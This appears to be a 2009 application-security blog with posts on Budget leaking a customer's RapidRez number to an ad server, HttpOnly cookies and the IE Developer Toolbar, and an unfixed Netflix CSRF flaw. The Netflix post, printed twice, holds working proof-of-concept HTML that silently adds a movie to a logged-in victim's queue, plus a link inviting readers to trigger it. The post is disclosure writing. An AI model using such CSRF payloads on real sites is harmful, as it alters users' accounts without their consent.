Tuesday, January 20, 2009
Keeping Your RapidRez Number Safe... Not!
I went through a web application for enrolling in Budget's Fastbreak service not too long ago. Upon completing the process, they gave me a special number, called my "RapidRez" number. The final page displayed my RapidRez number and gave a warm and fuzzy message stating that "for security reasons" they won't send me an email confirmation with my number. The page looks like this:
Let's ignore the fact that the HTML is screwed up, which causes the "NTRA end" comment to be visible in Firefox. Inspection of the HTML source revealed something much more interesting and somewhat disturbing.
As you can see, my RapidRez number, which is so sensitive that Budget does not want to send it to me via email, was sent to a server called adfarm.mediaplex.com. I have no idea what if anything Mediaplex does with all the RapidRez numbers they are collecting. My personal opinion is that Budget should not tout the sensitive nature of these numbers and then proceed to send them to a third party. At least don't make it so obvious! If sensitive data needs to be sent to business partners, I would suggest doing it a different way, such as a nightly batch process over a secure channel.
Thursday, January 8, 2009
IE Developer Toolbar Incompatible with HttpOnly Cookies
Today I discovered that the Microsoft Internet Explorer Developer Toolbar is not able to "see" cookies marked as HttpOnly. This is illustrated in the figures below.
Essentially, this behavior tells me that the tool accesses the cookies using JavaScript (or client-side script of some sort). Since Microsoft originated the concept of HttpOnly, you would think their tool would be able to handle it. Unfortunately, it does not, and I'm running the latest version (1.00.2188.0).
The Firefox Web Developer Toolbar, a great extension created by Chris Pederick, suffers from no such problems. Below are some screen shots to illustrate. Although it wasn't created for web application security professionals, it is an unbelievably useful tool and I highly recommend it. I often use it during application assessments to manipulate cookies, inspect forms, view all JavaScript, switch form actions from POSTs to GETs, and much more.
Essentially, this behavior tells me that the tool accesses the cookies using JavaScript (or client-side script of some sort). Since Microsoft originated the concept of HttpOnly, you would think their tool would be able to handle it. Unfortunately, it does not, and I'm running the latest version (1.00.2188.0).The Firefox Web Developer Toolbar, a great extension created by Chris Pederick, suffers from no such problems. Below are some screen shots to illustrate. Although it wasn't created for web application security professionals, it is an unbelievably useful tool and I highly recommend it. I often use it during application assessments to manipulate cookies, inspect forms, view all JavaScript, switch form actions from POSTs to GETs, and much more.
Friday, January 2, 2009
Netflix CSRF Revisited
A little more than two years ago, I notified Netflix about CSRF vulnerabilities on their web site. They fixed the most serious issues, such as using CSRF to change account name and shipping address or to change email address and password. I confirmed this with my testing at that time. However, I also noticed they had not implemented protection for using CSRF to add movies to a user's rental queue. I thought it strange and decided it was purposefully not done for business reasons.
I decided to revisit the issue this week by trying my original proof-of-concept CSRF attacks where any movie of an attacker's choice could be added to the top of the victim's queue. Sure enough, nothing has changed on that front. I think Netflix is risking reputation damage by not adding CSRF protection to the URL that invokes the "add movie" action.
Let's say you're logged into your Netflix account and are surfing around the Web. If you happen to encounter a page where someone has created HTML like the following, you will fall victim to a CSRF attack and have a potentially embarrassing movie arrive in your mailbox.
<html>
<head>
<script language="JavaScript" type="text/javascript">
function load_image2()
{
var img2 = new Image();
img2.src="http://www.netflix.com/MoveToTop?movieid=70110672&fromq=true";
}
</script>
</head>
<body>
<img src="http://www.netflix.com/JSON/AddToQueue?movieid=70110672" width="1" height="1" border="0">
<script>setTimeout( 'load_image2()', 2000 );</script>
</body>
</html>
Now, if you are a Netflix subscriber and want to see this sucker in action, here's your chance!
First, make sure you're logged into your Netflix account. Next, click the following link and then go check the top of your Netflix rental queue.
click here if you're logged into Netflix and want to fall victim to CSRF
I decided to revisit the issue this week by trying my original proof-of-concept CSRF attacks where any movie of an attacker's choice could be added to the top of the victim's queue. Sure enough, nothing has changed on that front. I think Netflix is risking reputation damage by not adding CSRF protection to the URL that invokes the "add movie" action.
Let's say you're logged into your Netflix account and are surfing around the Web. If you happen to encounter a page where someone has created HTML like the following, you will fall victim to a CSRF attack and have a potentially embarrassing movie arrive in your mailbox.
<html>
<head>
<script language="JavaScript" type="text/javascript">
function load_image2()
{
var img2 = new Image();
img2.src="http://www.netflix.com/MoveToTop?movieid=70110672&fromq=true";
}
</script>
</head>
<body>
<img src="http://www.netflix.com/JSON/AddToQueue?movieid=70110672" width="1" height="1" border="0">
<script>setTimeout( 'load_image2()', 2000 );</script>
</body>
</html>
Now, if you are a Netflix subscriber and want to see this sucker in action, here's your chance!
First, make sure you're logged into your Netflix account. Next, click the following link and then go check the top of your Netflix rental queue.
click here if you're logged into Netflix and want to fall victim to CSRF
Thursday, January 1, 2009
Happy New Year
Happy New Year! It is 2009 and I've decided to celebrate by joining the 21st century and starting up a new blog on application security. It remains to be seen how often I will post, but hopefully it will prove interesting and/or useful to people.
Subscribe to:
Posts (Atom)